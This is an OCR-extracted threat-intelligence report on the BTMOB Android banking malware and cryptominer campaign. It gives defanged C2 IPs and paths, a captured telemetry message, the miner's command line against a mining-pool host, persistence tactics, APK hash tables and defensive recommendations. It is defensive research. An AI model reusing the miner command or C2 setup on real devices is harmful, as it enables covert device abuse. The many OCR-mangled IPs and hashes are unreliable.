"(\"type\ ":\ "add\ ", \ "phone_name\ ":\ "00000\ ", \ "android_version\":\"Android 14\",\"model\":\"Galaxy AO4e\",\"battery charge\"”:\"t\",\"battery_precentage\”:\"1\",\ "network\ ":\ "WIFI\",\
"install _date\”:\"2026-05-23\",\ "phone_id\":\"54116235278450116115\ ", \ "wallpap\":\ "iVBORWOKGGOAAAANSUhEUGAAAB4AAAAS CAYAAAATMEG] AAAAAXNSROTArs 4C6QAAAARZQk 1 UCAGTCHWI 2TgAAAegSURBVEL Jrd

VbeIT1HCEx73vY8yG72d1ks2Fz2BBKs iECEZWYFNEGGVHEC] jWaq20ddrOMK3M2Drinr GIsYwWX2SF SHWqr lqECrLSTaFEZ0VOOIYnk SBLYbEKYyW72£HI ftxed6UxnWiDo7\ \ \/aS+Mz\\\/md\ \\/z£45prc9o 0t wkpGo3hdShEt s PkQuacd
U1IJxOEx4JYyhYcK2uIE0Lkf lwCoM1R120k] 92 jSqNrRWSUBNXMo'\ \\ / bVUZhIGDINAITjRgMFmEDKe i\ \\ /sQSt vROx0k7 By AAGRWBPY 7Ckze L3YugfSeqe IShKBrFLAQpHkkydHST  \ \ / ZAunjn7IrLq5XNn+V3QhGdt P1uAOEEL 6Brh0dh

/20J08XUROMLCoj 2Nz IHLt k2NKExOUZVEEHgd] 1851 2bAMyWunENF 620u9TSBJ6PGMONe 34K 7AD4MOXPDA4 9 6HVe GKY8KDs \ \ \/p\ \ |/ E7TTyGPT 9K+dRPWE j 86h57Gt L+ JqRICKCAGCLI BRTY 8Qm7 LRXy LGS PYHGXQmSGWTFSM\ \ \ /04
3BH7xQWP7OpA2Srq2iQMdTCuXcKvIjL2xA+GaGI\ \\/J94DByuTrilynd\ \\/ j3002aib7+CxSsRkiJUPVS i DDULARAEAQBNE FGNBgS PGZuwDrHEWk j vUFIdQ5ii4G2eB2U2XgZ6EKSt eVLZZOmOnnVC2 fMRS vURT + 0y QOWUZzkO7CAE1Int iW3 S
ELacYa+onf46Bm\\\/dNospEbRAMUUp3HCBwax Lh2BEMPLiHS +26+LdIFFrvC502VoL0\ \\/ ga25BEdBRWKLQIWGE73uBzodeI7j5CTLs Ipmd TnDDs 21 8d1P03ZchY SWPECTvQit2gMCKB \ |/ GmezAJCqLh3T 4MVaWkpi 8y SuDtqH+2I2\ \ \/
txmJIyktnfQXD10ihBgKH4ZeY+\\\/DO4REQ\ |\ \ / UMWFZ1VIuc8HZ2Wk7 QKK kMuemMNy ccOME bVTcO2ZWCKyq6W2Euf UvTNpe CdxzXHayg2iYwszwgFkCUIArETIQ0st JKTWRHY 8ee3I52C17EsdIDWEN00dqMeT2I 282 ZF rVVwNC3k3pl
46muwBWhPGAVALDDXL4GTm4 i f+0CBKYkmIBGO7t Irsc3PchbliALIMFZYRVEE) \\/bx\\\/KolIsL1811WwnlHwz\\\/\\\/pnbw\\\/0ZmHNRQyIpIG31EGKEYR+5SPHIP\ \ |/ BEXERIETWSHpNIuZO4nHaoqIhDIZMECWGKNLWIEDALBFIVRE
TrGmN\\\/maD0Thd8£x2iJ2GD1qWo4R4K\ \\/+3GIbeQHhmHrnZS£z9B5 PyHGEXDbaFqIYeWiZKq8IKICTk\ \\/RqLITLIZWILS\ \\/ 22+F 453 pAZHERVIhQuUInYPI84£2\ \ \/Yi7WY EM1k515pIAORSZS pRAFwqODGCUhIDs20 S 0TACAKAS Uw
9cklcoYoxmeWYdw\ |\ /QGmxibKVQQbPVIM14GS8c2DGSCBLF 4Hwhw3 1qXNKGs e +q9z22 2w qzKM+ JKY39uN7GGUThnpe | \ / bzuy vrUMZGKTIYSvSyDeJalyzjpzTi3KIg\ | \/DaasrvaaTfsxib2QGVHy QS pOKveADIeOLLhZHs xCTESE]
TPIGNIPDo7BqGaIvyERZCQaDgETPXITDTRYS \ \ \/ 0VO5c14nvoBbd+ SSIxhEGLBENnt bEETAZMEESKajWBTZCiHPKX\ |\ / 50t £GizEn3hUy+yL4Hh+Caf2vYXc482278e+cgHS iaNY1liwiaVIVOO +wIbBP\ \ |/ 8e TR ZvvEEOWULLEnl3WG
caeJhRsex6yJd Z2HoiqEUZXBUrGNS7Evn4KOq+41Q2baD3t 1t AyH1hWHo 6KrdVrHmEbPcwAzZs+Rqoopbh+Prm\ \\ /ncBc44dIBQFI i 9pYRdebe BkpUTYNDQiWLIZOUEFWEV2 |\ \ / Qmxe5iUolCyt gRDIDKkpiASxxT Doy 8t puOF PxJcud7gmhg
%Buq7EMEE ) \\ / EKwnLWZMDbUkgnWIYamCHIZBTk14J1VyYkdezHpTRIZIgW\ |\ /m7HPLyOCTqGMZGN | \/ YD\ \\/VqUncS 1E£Fixtnl £XpoRj5Ce S1DCFUCe GObt KUXLhOMhnS j 2y Gg £Xy+ 1 fmLEwS Qubs TWuo D4 uWt MM4y W7y Oen 8 TmDMwT
Fo7Mr9fEpISSQeTsc2ApdTIwth2Laikv1CFEUXT PrSTEMkH1V2e TGIGRHE jCYbGRLENhaLXgX7 6BnGhBNMNEPS 1£12a0 91K 1qIFULI 20k DETCNV4y ASHKBQPECwWuStwIn' \ | / GeMLE Qi GKE j SHpCLpQkkIsSe jcMRx+E7LDAOL3BTunmnLi+R
$dh48Q6ekjdLEDG2ZEVVULrbIKi 1iGGI4gf 3WKEHAYR2UNT i LpSIRkKYKVY SVMCaRPXKHr vVEQLFt749LasK4t oWYpraSk1px6Sqpnku\ |\ /B1Yt 9VC4TIphkQlcHOXSERT 01xDGHMTCSCemgVpSLSMI\ \ \ / URLES rqWwmd P4 1WES fqqkYQb
vyXirq8QHHVLDQKSDYd0yigV7GY9Yyc7QEFLBYZ092DqIMK ] pZa4pF ppiwp8kKCVDILSH4hvhbv242T0Ye xCD4V4 P2 r88I3ht FGPCiGMUaYMKZ5g6LOZy PESRnBJIIpvELte7juE0qCcIs rGL14BX1KIzkawpiXUTqSqENR+s7LUE VAL \ |/ ahTGVw
ZN+E9h9BSrTeE\ |\ /wWXibSMSMUGPbWAAAABIRUSErkJggg==\", \ "sim\ ":\ "N\\\/A\ ", \ "keylogs\ ":\ "\ ", \ "vapps\ ": \ "null\ ", \ "activz\":\ "null\",\ "notifys\":\ "null\", \"vLinks\":\ "null\", \"idf\":\ "BT-M
0B58824410b81976d7\ ", \ "BTVR\ ":\ "BT-v4.2\", \ "TRK\ ": \ "empty |\ ", \ "TAG\ ": \ "Appl\"}"

Burp-captured WebSocket traffic showing the infected device sending a large status and telemetry message to the
C2 server, including device identifiers, Android version, model details, battery/network state, feature flags, and
collected application/activity data.
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Network Traffic Findings

Network traffic contained malware-relevant HTTP polling and WebSocket patterns. The values below focus on
repeatable infrastructure indicators and avoid exposing individual tokens.

Infrastructure Observations

Observation Value
WebSocket hosts 148[.]1113[.]15[.125:8080
WebSocket user agent okhttp/4.12.0
HTTP hosts observed 148[.1113[.15[.125
HTTP path /yaarsa/private/yarsap_80541.php
Methods POST and HEAD
POST parameter user_email=<redacted encrypted token>
HTTP user agent Dalvik/2.1.0 Android 14 pattern
Runtime config object Conf:{idf, sk, cip, ad}
C2 option response optns message enabling keystrokes and notifications
Heartbeat content type=png with activity, queue and environment fields

Detection Value Summary

The strongest traffic signature is the combination of the following indicators:

° HTTP path: /yaarsa/private/yarsap_80541.php

° POST parameter: user_email

° User-Agent: Dalvik Android pattern

° WebSocket: Traffic to port 8080 using okhttp/4.12.0
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Command-and-Control Infrastructure

BTMOB infrastructure differs by sample and runtime configuration. The same path and protocol patterns may
point to different IPs across variants.

HTTP C2
/yaarsa/private
yarsap_80541.php

. . [ Mining Pool
I-\Br}(’f/:'ggdpDﬁvu;e *jesfeoqrj3[.]xyz:8443
ayloa { TLS / Stratum-like
WebSocket C2
Port 8080

OkHttp Client

Observed C2 and Related Hosts

Type Indicator Notes
HTTP C2 148[.1113[.15[.125 /yaarsa/private/yarsap_80541.php observed in related analysis
WebSocket 148[.1113[.15[.125:8080 confirmed WebSocket upgrades
Fallback List 13[.1201[.1183[.1131, 45[.1149[.1114[.]140 Decoded or observed fallback infrastructure
148[.]113[.]5[.]25:8080, 13[.]1201[.]183[.1131:8080,
Direct Socket 45[.1149[.1114[.140:8080 Variant-specific direct C2 paths
Mining / Tel. aptabasel Jjesfeoqrj3l.Ixyz:8443, Mining and Aptabase-like telemetry

pooll.ljesfeoqrj3[.1xyz:8443

Relay white-thunder-bef3[.Jbotmaster512[.]workers[.]dev Miner binary redirect relay

Full APK list in Appendix — Slides 44-50.
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Cryptocurrency Miner Component

The miner is implemented as a separate component that communicates with the main application through
Android inter-process messaging and launches a native mining binary.

Dropper / main app Miner APK Native binary
MinerCommunicator com.dggsjx.intergacgcessory d-miner

Miner Evidence

Area Observation

Launch method Native process started with pool and TLS arguments
Command pattern d-miner -o pool[.]jesfeoqrj3[.]lxyz:8443 -k --tls --no-color --nicehash
Binary URL & Redirect libmine-<arch>.so via Cloudflare Workers relay at white-thunder-bef3[.]Jbotmaster512[.]Jworkers[.]dev
Binary & Strings ARM®64 ELF; XMRig-based and native OpenSSL 1.1.1 strings observed
Transport & Worker ID TLS mining; Worker ID (Date + UUID) persisted in SharedPreferences

Operational Impact

Mining activity can drain battery, heat the device, consume
data and create a monetization channel for the operators
even when no banking action is executed.
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Advanced Persistence and Evasion Tactics

Boot Receiver: Restarts automatically after SharedPreferences: Persists C2 tokens and
device reboot via BOOT_COMPLETED. device IDs across restarts.

Foreground Service: Uses keep-alive behavior Encrypted Assets: Employs high-entropy

to minimize background termination. archives to hide payloads from static analysis.
Wake Lock: Bypasses battery optimization to Native Loader: Injects in-memory DEX logic to
keep CPU active for background mining. shift execution outside Java review.

Silent Media Loop: Emulates foreground media
behavior to improve dropper survival.

Operator Infrastructure Surface Analysis

Runtime review identified an administration surface on the C2 path family. This finding provides
critical infrastructure context regarding panel interaction authorization.

Admin Surface Properties C2 Panel

148.113.5.25/yaarsa/user/create999.php

Server: 148[.]1113[.]5[.]25. HTTP C2/Admin
server seen in analysis.

Server Header: Microsoft-11S/10.0.

Panel Path: /yaarsa/user/. Area separate
from private C2.

Login Endpoints:
/yaarsa/user/create999.php

C2 Path: /yaarsa/private/. Separate malware
communication path. Adrmin Key

Operational Takeaway

Correlate admin panel discoveries with private C2 traffic to map out the full extent of the
operator's backend infrastructure and potential management nodes.
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Indicators of Compromise: Network

Indicator Confidence / Notes

C2 path /yaarsa/private/ Confirmed source/path pattern

C2 handler /yaarsa/private/yarsap_80541.php  Observed in source and network traffic

Observed runtime/admin/C2 context and Burp

HTTPC2IP 148[.1113[.]5[.125 HTTP traffic

pool[.]jesfeoqrj3[.1xyz:8443,

Mining pool pool-proxyl.ljesfeoqrial.Ixyz:8443 Decoded miner config
WebSocket C2  148[.]113[.]5[.]25:8080 confirmed websocket upgrades
Relay white-thunder-bef3[.]botmaster512 Miner binary redirect host

[.Jworkers[.]dev

Mining/telemetry aptabase[.]jesfeoqrj3[.]xyz:8443 Priority block and hunt indicator

External IP

check checkip.amazonaws.com Used by some variants for public IP discovery
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© cTm3e0

Visual variation across the same malware family

These decoy screenshots show the breadth of app names, icons, and decoy categories used across the
101-APK fleet — all dropping the same BTMOB payload.
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Recommendations

Audience Actions

Treat suspected BTMOB as potential device + banking-session compromise.
» Medium confidence: step-up or temporarily restrict high-risk actions: new
beneficiaries, large transfers, card changes, password/MFA reset, and device
re-registration.

» High confidence: revoke sessions and device binding; require clean-channel
re-verification through desktop, branch, call center, or new trusted device.

» Correlate transaction behavior, device binding, app telemetry, IAM signals,
customer history, and Play Integrity. Never rely on Play Protect, Play Integrity,
or any single signal alone.

 Protect sensitive screens/actions against overlay abuse, screen capture,
accessibility misuse, tampering, and suspicious device states.

Banks /
fintechs

Enterprises o Corporate-owned: enforce MDM/EMM controls to block sideloading, restrict
accessibility services to an allowlist, disable developer options, require
updates, and quarantine non-compliant devices.

» BYOD: revoke work access, wipe the work profile where allowed, and
provide remediation guidance. Do not assume forced full-device reset is
possible.

» Confirmed privileged access: quarantine and rebuild/factory reset managed
devices.

» Revoke active enterprise sessions and OAuth tokens tied to flagged devices.

SOC teams » Add BTMOB hashes, package names, domains, URLs, and C2 IPs as IOCs.

» Do not rely on IOCs alone. Correlate with MDM/MTD where available, app
telemetry, IAM logs, DNS/proxy logs, device-binding changes, customer
reports, and transaction anomalies.

« Prioritize detections for sideloaded APKs, fake updates, hidden apps, hew
accessibility grants, overlay permission, SMS/notification abuse, device-admin
abuse, suspicious banking-app launches, and anomalous transactions.

» Use IOC hits as triage signals, then escalate based on confidence.

End users » Prevention: install apps only from official stores, verify the publisher, and
never sideload APKs from SMS, WhatsApp, Telegram, email links, or fake
update pages.

» Suspected infection: stop using that phone for banking. Use a clean channel:
desktop browser, branch, call center, or clean replacement device.

» Remove suspicious apps, revoke Accessibility/SMS/Notification/Draw-over
permissions, update the phone, and run Play Protect as hygiene only.

» Reset banking and email passwords from a clean device. Factory reset if
privileged permissions were granted, the app is hidden/unremovable, removal
is uncertain, or the bank/security team confirms high risk.
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Conclusion

BTMOB represents a high-risk Android malware operation because it
combines several disruptive capabilities within the same campaign
framework: social engineering, staged payload loading, remote device
control, device and user-data collection, overlay abuse, and
cryptocurrency-mining infrastructure. The analyzed activity shows
that the malware is not limited to a single APK or delivery site.
CTM360’s wider corpus review identified repeated BTMOB-aligned
patterns across hundreds of Android samples, including shared loader
behavior, recoverable C2 configuration, reused lure themes, and
overlapping infrastructure.

The campaign is designed to scale. Operators can adapt the same
victim path across countries, domains, app names, streaming brands,
and backend infrastructure while preserving the core infection and
control model. This makes BTMOB relevant beyond a single region or
user group, particularly where users are likely to install APKs from
third-party streaming or IPTV-themed websites.
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Unique C2 IP Addresses

© ctm3e0

C2IP (Defanged) First Seen In Lure URL
1 13[.1201[.1183[.1131 05445BEBE193718A
2 13[.1233[.]224[.15 C2C821C570B251D6 watch[.]plex[.]tv
3 35[.1220[.1178[.1176 3155077ADEGEEA3E
4 43[.]230[.]200[.1170 ANR-TV.2 fizzio[.Jtv
5 45[.188[.1183[.118 450A45E44E50D44C
6 45[.188[.1183[.137 2D9F5CBD4DF9BD55
7 45[.1149[.Im4[.]40 28FE36653BAB1ACO
8 45[.1149[.1114[.182 OC31EO3C6FF289E2
9 45[.1149[.1114[.1109 720180B34547AB7D
10 78[.1140[.]1245[.1124 3155077ADEGEEA3E
" 103[.167[.155[.1246 190934D358B0OCOCB
12 103[.1172[.126[.116 ANR-TV.2 fizzio[.]ltv
13 103[.]1227[.]210[.]1161 2A9677523DFDFD64
14 16[.1213[.]143[.1133 873D027C7A06B794
15 139[.184[.1140[.140 0OD2DA27DES8FB1FB
16 148[.113[.13[.]2 450A45E44E50D44C
17 148[.1113[.15[.125 05445BEBE193718A
18 148[.1113[.15[.159 30D509FE139F1A53
19 168[.1144[.193[.1168 3155077ADEGEEA3E
20 185[.1255[.1123[.]107 ANR-TV.2 fizzio[.]tv
21 188[.1208[.1141[.1194 EB3649B574F61223 sentsares.top
22 191[.196[.178[.1172 A45A64D4C861D973
23 207[.156[.126[.117 0AA4965068CA05A0
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Full APK 10C (1/7)

MD5 hashes for the 101 C2-bearing APKs (of 344 reviewed)

9CTM360®

# APK (SHA256 Prefix) C2 IPs (Defanged) Lure URL
(Defanged)
1 05445BEBE193718A.apk 822d6455de45e3eb01a7f03018¢c543 13[.1201[.1183[.]131, famelack[.]Jcom
3b 45[.1149[.]114[.]140,
148[.1113[.15[.]125
2 0AA4965068CA05A0.apk ef0e30f6924d8dc448b45e7ad12b25 207[.156[.126[.117 famelack[.Jcom
be
3 OC31EO3C6FF289E2.apk 1326b0c29a86a634a771c392b7fc10 45[.1149[.114[.1109, famelack[.]Jcom
8 45[.1149[.]114[.140,
45[.1149[.1114[.182,
45[.188[.]183[.]18
4 OD2DA27DES8FB1FB.apk dadfa9614f1640fb3962d06ce55f4810 139[.]184[.1140[.140 famelack[.]Jcom
5 190934D358B0OCOCB.apk ddf190cc71087ffad6bae0071f8d2e40 103[.167[.155[.1246 famelack[.]Jcom
6 1E40FDBA7786DCA%.apk 0dc934023bcef66193109d7c27b6e8 207[.156[.126[.117 famelack[.]Jcom
84
7 227F980677EC7824.apk 60467fb392f40a98d6e9f26703e35a 103[.167[.155[.1246 famelack[.]Jcom
3d
8 2780FEOD8E7F90EB.apk 917¢c5¢cbd1ab007a90f386965608f03d 207[.156[.126[.117 famelack[.]Jcom
e
9 28FE36653BAB1ACO.apk 239ea985a4d510707d582fe8bdba141 45[.1149[.1114[.]40 famelack[.Jcom
8
10 2A9677523DFDFD64.apk 4d3d749a53798663defdab9d0b122ff 103[.]227[.]1210[.1161 famelack[.Jcom
5
il 2C4BF7579D8DB43B.apk 22649379ab2c5ebab5d72172f6d494 103[.167[.155[.1246 famelack[.]Jcom
43
12 2D4EF793A1C04E33.apk 03ad6abc68f2b3837ab6246adfade3 103[.167[.155[.1246 famelack[.]Jcom
7b
13 2D9F5CBD4DF9BDS55.apk | da863bbc8409e0234b3902ea944c2 45[.188[.1183[.137 famelack[.]Jcom
df1
14 30D509FE139F1A53.apk 27236dfe83c9df53a44d6885021f0f0 103[.1227[.]1210[.1161, famelack[.]Jcom
7 148[.113[.15[.125,
148[.1113[.15[.]159
15 3155077ADEGEEA3E.apk | 5f05523ead77b1586137b9d621ea400 35[.]220[.1178[.1176, famelack[.]Jcom
0 78[.1140[.1245[.]124,
168[.1144[.193[.]168
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Full

APK 10C (2/7)

© ctm3e0

16 32071698C503E3D6.apk | 52ced4a7514424cba96d84347c6dd1cae 207[.156[.126[.117 famelack[.]Jcom
17 368544E3B35F4F42.apk 96d67e01136ecbab0c228f9c8a711517 13[.1201[.1183[.1131, famelack[.]Jcom
45[.1149[.114[.140,
148[.1113[.15[.125
18 372DBF51D116B6F2.apk 9434a16e07ed8feedb7321e5d85d9a9¢c 103[.167[.155[.1246 famelack[.]Jcom
19 3865328A8EB848F3.apk | bdce3b0c1bf36fb8db95831cd4a7f951 103[.]1227[.12101.1161 famelack[.Jcom
20 | 39EES8CD13A1A7A8A.apk | 7173f8879b5719a04142598beab00947 207[.156[.126[.117 famelack[.]Jcom
21 39F2FFOEBE86GFO8F.apk | be2984d53a171c0c9bbf331ea30fac7a 103[.1227[.1210[.1161 famelack[.]Jcom
22 3CBCD708D52A2BF5.apk | 04b1a402db05149943967eale283ae21 207[.]156[.126[.1177 famelack[.]Jcom
23 | 450A45E44E50D44C.apk | 2d9138de21b235466cc4eeb802f5eeaf 45[.188[.1183[.118, famelack[.Jcom
148[.1113[.13[.]12
24 4702621FE2E9C4BD.apk a59d0fb47afffa2fadf9b24e1309e90d 207[.]156[.126[.117 famelack[.]Jcom
25 AAA44D57F28F342B.apk | 6096682db985748b27eefbfc0e349f61 45[.1149[.1M4[.140 famelack[.]Jcom
26 4C428F00CA27D8D6.ap a63ff5a72630874d1d3fa9e5040396a8 13[.1201[.1183[.1131, famelack[.]Jcom
k 45[.1149[.114[.140,
148[.1113[.15[.125
27 4FBB501F3C59F38C.apk 505a048b988ac7c1ff82c5f7eeb8f2f6 207[.]156[.126[.117 famelack[.]Jcom
28 55AE42775AA7ABE4.apk | €2a7882371649d0de2e6679c324d096 207[.]156[.126[.1177 famelack[.]Jcom
e
29 | SAFFBE3E84206436.apk | f34ededb744f8144afabbdec2fOcbc06 45[.1149[.1114[.140, famelack[.]Jcom
103[.1227[.1210[.1161
30 5B135BC5A0C9AC67.apk Ob6cfb21bf7b12fee52b17b77d0f3c21 103[.]167[.]155[.]1246, famelack[.]Jcom
148[.1113[.15[.125
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Full APK 10C (3/7)

© ctm3e0

31 5CD37DADBFB37D2C.apk 4c122276d50a0f2caafca5b5fec84936 207[.156[.126[.117 famelack[.]Jcom
32 60757C99D63F961D.apk d9afdb62ablic8cbf45al1c14cbdb4b70 35[.1220I[.1178[.]176, famelack[.]Jcom
78[.1140[.1245[.1124,
168[.1144[.]193[.]168
33 61EFD207A74571B2.apk 311840873f780a0a5a9fd44217c6¢c212 207[.156[.126[.117 famelack[.Jcom
34 6BOC64DF6F097AAE.apk ec3b0cf08491da562be20c9eb6bb24e9 139[.184[.]1140I[.]40 famelack[.Jcom
35 6B5DE78C5A06A776.apk f8648fb46d1348cf6fe578339078b863 103[.]227[.1210[.1161 famelack[.]Jcom
36 | 6DODOBICE9EC9092.apk d0c67144da548aeaea7a3c12dc17f913 139[.184[.1140[.140 famelack[.Jcom
37 6DE2C6A47F3ACTFC.apk blcec74571730a62a348238349700dc1 207[.156[.126[.117 famelack[.]Jcom
38 720180B34547AB7D.apk | edd4ee8b334743638cd4652278cbd567 45[.1149[.1114[.1109 famelack[.Jcom
39 72AD52747A48250E.apk 684ab75f00855b7669e629d8ec897b8c 207[.]156[.126[.117 famelack[.]Jcom
40 76F791DA546BDA71.apk 0d37f9e9014d0b12fa6a28a85e493a3d 45[.188[.1183[.118, famelack[.]Jcom
148[.1113[.13[.]12
4 772BF7721A14523E.apk ca54c68ce970c6517dcb94e096ed6617 103[.]167[.]155[.]1246, famelack[.]Jcom
148[.113[.15[.125
42 7807D8BB2A473F48.apk 506892a57d8213bdc86ea3ab73ee284d 45[.188[.1183[.137 famelack[.Jcom
43 7955A62B42F68032.apk 3cee542861fdd82379fde3a19cdb8588 207[.]156[.126[.117 famelack[.]Jcom
44 7A4843ACE857EC29.apk 8bf7127360d51c81c290dfcede59c4fa 103[.167[.155[.1246 famelack[.]Jcom
45 | 7C3FCDDD416ABB00.apk 6733cd49f74e2e28c2781edce9455115 139[.184[.1140[.140 famelack[.]Jcom
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46 7DE7A491F7F7BD98.apk f23af205e8ef9cbf3feb530802927d4c 45[.1149[.1114[.140, famelack[.Jcom
103[.]1227[.]1210[.1161
47 7F33633798650B6F.apk | 985aec55db8b97dc9ce5d8f9c2aa7403 35[.]1220[.1178[.1176, famelack[.]Jcom
78[.1140[.1245[.1124,
168[.1144[.]193[.1168
48 826418A39B649809.apk | 91656fa372a4c904fadb3d93ba607f54 207[.156[.126[.117 famelack[.]Jcom
49 83F7794E828A698C.apk | e2e588fa5b4c5645caaeadfa8d34bd46 45[.1149[.1M4[.1109, famelack[.Jcom
103[.]1227[.1210[.1"61
50 844FA5282E8AB7D4.apk f49e1582dal0ec44d5a30a82855557af0 103[.]227[.1210[.1161 famelack[.]Jcom
51 85A8B2C5E5D96D3C.apk | 43d0aed66dd0555daee5379d9b5d56¢ 207[.156[.126[.117 famelack[.]Jcom
d
52 873D027C7A06B794.apk d291e64170d98f81f9cbc2fc93061f83 116[.1213[.143[.]133 famelack[.]Jcom
53 8D5SEA5B91188BC77.apk €c6221d03916eb310f62c0069f840a2f3 207[.156[.126[.117 famelack[.]Jcom
54 990BF3DOE25F0591.apk | 12b99c7ae54b02514ca5de016de7859d 45[.188[.1183[.118, famelack[.]Jcom
148[.1113[.13[.12
55 9BC5FF2BFCFB7F33.apk | 5558307f9b0cba484bf49f64d5e6d6b9 116[.1213[.143[.1133 famelack[.Jcom
56 9CBDD5191DC73380.apk 5e308a681f04c2cf25994c0728175b6a 207[.156[.126[.117 famelack[.]Jcom
57 A23D65DC892F4933.apk 0b503070b58531c9623ac2d6314ceeb 103[.167[.155[.]1246, famelack[.]Jcom
d 148[.1113[.15[.125
58 A45A64D4C861D973.apk 42451a6fcd90c3b42966ea2eb5a76e81 191[.196[.178[.1172 famelack[.]Jcom
59 A8BBS5EE30BFA219B.apk dbf9dbf25edfc512d191fd35a2f7f120 207[.156[.126[.117 famelack[.]Jcom
60 ABBF7C2398812704.apk 514064c8213abca79204af9f89765¢c72 139[.184[.]1140[.140 famelack[.]Jcom
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61 ANR-TV.2.apk a25345fe791de9aad24cd30325e156db 43[.]1230[.1200[.1170, fizzio[.]tv
103[.1172[.126[.116,
185[.1255[.1123[.]107

62 BOEE40E4B05079C7.apk €967e996balfb75e38929¢cd87f8353db 45[.188[.1183[.]137 famelack|

Jcom

63 B13943F04C92EECY.apk 43a48b0bc2c22d61a93c1fdbbld651a3 103[.1227[.1210[.1161 famelack(

.Jcom

64 B1CF332673A28E96.apk 7849b288f62c4bfd6al7af864029fcd9 13[.1201[.1183[.1131, famelack]
45[.1149[.1114[.140, JJcom
148[.]13[.15[.]125

65 B24479A8591BBABD.apk ec3ec65402942661b0e47373a6e4e371 103[.167[.155[.1246 famelack|

Jcom

66 B2EBE2F6C12BF921.apk 966ee43799bd7d23e1b974c36b7a17al 45[.1149[.114[.140 famelack[

.Jcom
67 B4915E32136C3163.apk 4a0441f683e01c1015e5a82de746094b 103[.167[.155[.1246 famelack]
.Jcom
68 | B63ECI8780A52FB6.apk | ff831b13b69c3d09826c86d6d171390a 2071.156[.1261.117 famelack[
.Jcom
69 BA95F01B94E8A317.apk 4a5c61c93df6b40fbd07029767c0d67a 207l.156[.126[.117 famelack|
Jcom
70 BE94F824B8F2AD02.apk 849fd2685c54ee583ebcdb7fcd51e757 103[.1227[.1210[.1161 famelack|
.Jcom

71 BFODEEDFF196BB35.apk cf586f08032f64332b7cc53¢c46338c56 13[.1201[.1183[.1131, famelack|
45[.1149[.114[.140, JJcom
148[.]13[.15[.]125

72 | C2C821C570B251D6.apk | 5al4bb05f817c357edc33a94bf904b9a 13[.1233[.1224L.15 watchl.Ipl

ex[.]tv

73 | CBECD12399BE4642.apk | dc243818cf2399¢446381b3c0097310 207[.156[.126[.117 famelack

.Jcom

74 C7B5116553F78B4D.apk 7252ec79f55dcfda0492b727041db898 103[.1227[.]1210[.1161, famelack]
148[.113[.15[.125, Jcom
148[.]113[.15[.159

75 | D2F7374C036C509E.apk | 39f63c788bdab0c531e4f5ccb501d9ac 35[.1220[.1178[.1176, famelack(
78[.1140[.1245[.1124, .Jcom
168[.1144[.]93[.]168
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76 D320F4FD99528A9E.a 666c1663563627b737bb005aealad04 207[.156[.126[.117 famelack[.]Jcom
pk 0
77 D74715F6D2BD9519.ap 01643be7319¢180275b4ea6f7623011f 103[.]227[.]1210[.11671, famelack[.Jcom
k 148[.]113[.15[.125
78 | D8B84BA4B44ED65C.a | 8c10e092b651147888fb7043518abc20 207[.156[.126[.117 famelack[.]Jcom
pk
79 DD21FBD861D8A645.ap | 38257a6485d09b5049afaaab51eb365f 207[.156[.126[.117 famelack[.]Jcom
k
80 DFB99ACD7EGECAO2.a 6abbdd5222e8656fe0d95c46da33b81 207[.156[.126[.117 famelack[.]Jcom
pk 4
81 EOCS557BF49C6DDAD.a 8013bef00dbf66e37dbe4a7fe3fac679 103[.167[.155[.1246 famelack[.Jcom
pk
82 | E3797EF53F11DCAA.ap | 7682631bcccbblaed36b9bbf0b552903 16[.1213[.143[.1133 famelack[.Jcom
k
83 E47CF26B4DA03F70.a 55ff64f2bb9412a729¢c734870da80556 207[.156[.126[.117 famelack[.]Jcom
pk
84 EG64EEEA2857DA70A.a 150¢c11d0f474a9a8b4b08cc09af0c69b 45[.1149[.1m4[.140, famelack[.]Jcom
pk 103[.]1227[.1210[.1161
85 | E8IE604FC71306DE.ap | ea63d85568853205ac745e4cfdf475bc 103[.]167[.155[.1246 famelack[.Jcom
k
86 | EBEF790165F1B7Fl.apk | 4db00bb31a77830d3db0a2562ce7978 45[.1149[.1m4[.140 famelack[.Jlcom
a
87 EB3649B574F61223.ap | 506472a2dc05a58b336a49f9193d8f5a 188[.1208[.]141[.1194 sentsares|[.]top
k
88 EC23A67D97732A26.a ca07a37db8435a8a9662c842759ca92 13[.1201[.1183[.1131, famelack[.]Jcom
pk 7 45[.1149[.1114[.]40,
148[.]113[.15[.125
89 | EC8239A9FB4574Al.ap | ff657748e886191b3c64ace726e48406 207[.156[.126[.117 famelack[.]Jcom
k
90 EC922A4CE3ED4C8D.a | bdac4950056792afb23605d23f9d969 207[.156[.126[.117 famelack[.]Jcom
pk b
91 ECDB910FEC74F96F.ap | aaaef5590e87ef4c0c8776e268b40f10 103[.1227[.]1210[.1161, famelack[.]Jcom
k 148[.113[.15[.125,
148[.1113[.15[.159
92 ED915409A633761B.ap | fdbel13d00c35e6423bdff9e7835a4f2 139[.184[.1140[.140 famelack[.]Jcom
k
93 F20285B400A8AD5C.a 5f40092560ba7f576720919ace5eale3 103[.]227[.1210[.1161 famelack[.]Jcom
pk
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94 | F25857A10D30FA7F.apk | fc04917470815e311e4284693e60bf3f 45[.1149[.1114[.1109, famelack[.]Jcom
45[.1149[.114[.140,
139[.184[.1140[.]40
95 F2AFF133E14ECD18.apk [ 2f5c1a9c68b9f11f785d894ab209de85 188[.1208[.1141[.]1194 famelack[.]Jcom
96 F2DF4639230546A9.a aa30c64453defcaeb6e336f24b3f015 207[.156[.126[.117 famelack[.]Jcom
pk 7
97 | F837FC6F3879EFDD.ap | 92ce6bb2475fe5532c24466¢c1ab32d 35[.1220[.]1178[.1176, famelack[.Jcom
k 05 78[.1140[.1245[.1124,
168[.1144[.193[.]1168
98 FB7ADBB33B857783.ap | 084699¢c12ad4848031221de67a715e6 45[.1149[.114[.140, famelack[.]Jcom
k e 103[.]227[.1210[.]161
99 | FCFF36E62C53FB84.ap | 3276722849fa6e6898389e4cf36alcl 207[.156[.126[.1177 famelack[.]Jcom
k e
100 | FECAFBFCE7E69416.ap | 80dfcc8ac656df02cfd063b94ab2403 45[.]188[.1183[.]118, famelack[.]Jcom
k a 148[.1113[.13[.]12
101 Xcams.6.apk 44e88727171b4ach9d138d22f9caab1 188[.1208[.1141[.]194 cn[.]Jpornhub[.Jcom
e
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Appendix A - Sites Observed

Over the past year, CTM360 has observed a total of 450+ sites propagating the malicious APK
through the use of streaming/IPTV platforms, provided for your reference below:

hxxps[://]watchchanytbb17[.]cfd/

hxxps[://]watchlumatv04cfd[.]cfd/

hxxps[://]watchchantva19][.]cfd/

hxxps[://lwatchchanytbb16][.]cfd/

hxxps[://]watchlumatv03][.]cfd/

